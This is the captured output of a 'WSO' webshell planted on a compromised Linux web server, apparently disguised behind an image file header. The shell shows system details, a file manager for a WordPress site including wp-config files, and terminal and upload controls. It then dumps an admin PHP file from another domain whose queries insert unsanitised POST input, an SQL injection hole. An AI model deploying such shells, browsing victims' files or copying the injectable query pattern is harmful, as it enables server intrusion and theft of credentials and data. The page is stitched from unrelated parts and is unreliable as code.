����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-10 01:10:27
1999.30 GB Free: 64.92 GB (3%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-10 01:10:27drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-10 00:31:56drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/putang.com/public_html/admin/edit_field.php
<?
require "db.php";

if (!is_numeric($_GET['id'])) {
    exit();
}

$id = (int) $_GET['id'];

$row = dbRow("SELECT * FROM `fields` WHERE `record_num` = '$id'");
if (!is_array($row)) {
    setMessage("Field ID $id does not exist!", 'error');
    pageNotFound(true);
}

if (isset($_POST['formSubmit'])) {
    $_POST = array_map_array('trim', $_POST);

    if (!getMessages(false, 'error')) {
        if (is_array($_POST['keys']) && count($_POST['keys']) > 0) {
            dbQuery("DELETE FROM `fields_values` WHERE `field_id` = '$id' AND `record_num` NOT IN ('" . implode("','", $_POST['ids']) . "')");
            foreach ($_POST['keys'] as $value_id => $value) {
                if ($value == '' && $_POST['values'][$value_id] == '') {
                    continue;
                }
                if (isset($_POST['new'][$value_id])) {
                    $insert_id = dbInsert('fields_values', array(
                        'field_id' => $id,
                        'key' => $_POST['keys'][$value_id],
                        'value' => $_POST['values'][$value_id],
                        'weight' => is_numeric($_POST['weight'][$value_id]) ? $_POST['weight'][$value_id] : dbValue("SELECT MAX(`weight`) AS `weight` FROM `fields_values` WHERE `field_id` = '$id'", 'weight'),
                    ), true);
                    setMessage($insert_id);
                } else {
                    dbUpdate('fields_values', array(
                        'key' => $_POST['keys'][$value_id],
                        'value' => $_POST['values'][$value_id],
                        'weight' => is_numeric($_POST['weight'][$value_id]) ? $_POST['weight'][$value_id] : dbValue("SELECT MAX(`weight`) AS `weight` FROM `fields_values` WHERE `field_id` = '$id'", 'weight'),
                        'record_num' => $value_id,
                    ));
                }
            }
        }

        setMessage('Field values have been saved. <a href="' . $basehttp . '/admin/fields.php"><b>Click here to return to Fields</b></a>');
        header("Location: ".$_SERVER['REQUEST_URI']);
        exit;
    }
}

$_POST += $row;
$field_values = dbQuery("SELECT * FROM `fields_values` WHERE `field_id` = '$id' ORDER BY `weight`", false);

entities_walk($_POST);
entities_walk($field_values);

?>

<? include "header.php"; ?>

<div class="content-page">
    <div class="header-area">

        <div class="breadcrumbs">  
            <a href="index.php">Admin Home</a>          
            <span><a href="fields.php">Content Fields</a></span>  
        </div>
    </div>
    <div class="content-outer">

        <h2>Edit<strong>Field</strong>: <? echo $_POST['name']; ?></h2>

        <div class="content-inner">

            <? if (!getMessages(false)) { ?>
                <div class="notification info">After changes (sorting, removing rows, adding new rows) you must "Save" field settings.</div>
                <div class="notification alert">WARNING: Changing "key" can break your current storage (e.g. profile settings for existing models). Setup "keys" only before the field is pushed LIVE.</div>
            <? } else { ?>
                <? echo getMessages(); ?>
            <? } ?>

            <form action="" method="POST" enctype="multipart/form-data" class="form" autocomplete="off" novalidate>

                <table class="pagetable sortable">
                    <thead>
                        <tr>
                            <th style="min-width:0;width:40px">Sort</th>
                            <th width="25%">Key (optional)</th>
                            <th>Value</th>
                            <th class="options"></th>
                        </tr>
                    </thead>
                    <tbody>
                        <? if (is_array($field_values)) { ?>
                            <? foreach ($field_values as $item) { ?>
                                <tr data-id="<? echo $item['record_num']; ?>">
                                    <td style="min-width:0;width:40px" class="large"><i class="icn ion ion-arrow-move move-position"></i></td>
                                    <td><input type="text" name="keys[<? echo $item['record_num']; ?>]" value="<? echo $item['key']; ?>"></td>
                                    <td><input type="text" name="values[<? echo $item['record_num']; ?>]" value="<? echo $item['value']; ?>"></td>
                                    <td class="options">
                                        <a href="#" class="btn btn-xs btn-red" data-confirm-action="delete-field-value"><i class="icn ion ion-trash-a"></i></a>
                                        <input type="hidden" name="weight[<? echo $item['record_num']; ?>]" value="<? echo $item['weight']; ?>" class="value-weight">
                                        <input type="hidden" name="ids[]" value="<? echo $item['record_num']; ?>">
                                    </td>
                                </tr>
                            <? } ?>
                        <? } else { ?>
                            <tr class="error-message"><td colspan="4"><? echo setMessage('No field values existing yet.', 'error', true); ?></td></tr>
                        <? } ?>
                        <tr class="item submit">
                            <td colspan="4">
                                <a href="#" class="btn btn-default btn-red pull-left" id="field-add-value">Add New Row</a>
                                <input type="hidden" name="id" value="<? echo $id; ?>">
                                <input type="hidden" name="formSubmit" value="1">
                                <button type="submit" class="btn action-save">Save</button>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </form>

        </div>
    </div>
</div>

<script type="text/template" id="field-row-template">
    <tr data-id="{%id%}">
        <td style="min-width:0;width:40px" class="large"><i class="icn ion ion-arrow-move move-position"></i></td>
        <td><input type="text" name="keys[{%id%}]" value=""></td>
        <td><input type="text" name="values[{%id%}]" value=""></td>
        <td class="options">
            <a href="#" class="btn btn-xs btn-red" data-confirm-action="delete-field-value"><i class="icn ion ion-trash-a"></i></a>
            <input type="hidden" name="weight[{%id%}]" value="{%weight%}" class="value-weight">
            <input type="hidden" name="new[{%id%}]" value="1">
        </td>
    </tr>
</script>

<script>
    var field_id, max_id = 0, max_weight = 0;
    $().ready(function () {
        $('a[data-confirm-action="delete-field-value"]').on('click', function (e) {
            e.preventDefault();
            if (confirm('Are you sure to delete this item?') === true) {
                $(this).parents('tr').slideUp(300, function () {
                    $(this).remove();
                });
            }
        });
        $('table.sortable').sortable({
            handle: '.move-position',
            helper: 'clone',
            items: 'tbody > tr',
            placeholder: 'sortable-placeholder',
            forcePlaceholderSize: true,
            forceHelperSize: true,
            cursor: 'move',
            update: function (event, ui) {
                var order = new Array();
                $(this).find('tbody > tr').each(function (index) {
                    field_id = $(this).attr('data-id');
                    order[$(this).attr('data-id')] = index;
                    $(this).find('input[name="weight[' + field_id + ']"]').val(index);
                });
            }
        });
        $('#field-add-value').on('click', function (e) {
            e.preventDefault();
            $('tr.error-message').remove();
            $('table.sortable tbody tr').each(function () {
                if ($(this).attr('data-id') !== undefined) {
                    max_id = Math.max(parseInt($(this).attr('data-id')), max_id);
                    max_weight = Math.max(parseInt($(this).find('.value-weight').val()), max_weight);
                }
            });
            max_id++;
            max_weight++;
            $('table.sortable tbody tr[data-id]').last().after($('#field-row-template').html().replace(/\{\%id\%\}/g, max_id).replace(/\{\%weight\%\}/g, max_weight));
        });
    });
</script>

<? require "footer.php"; ?>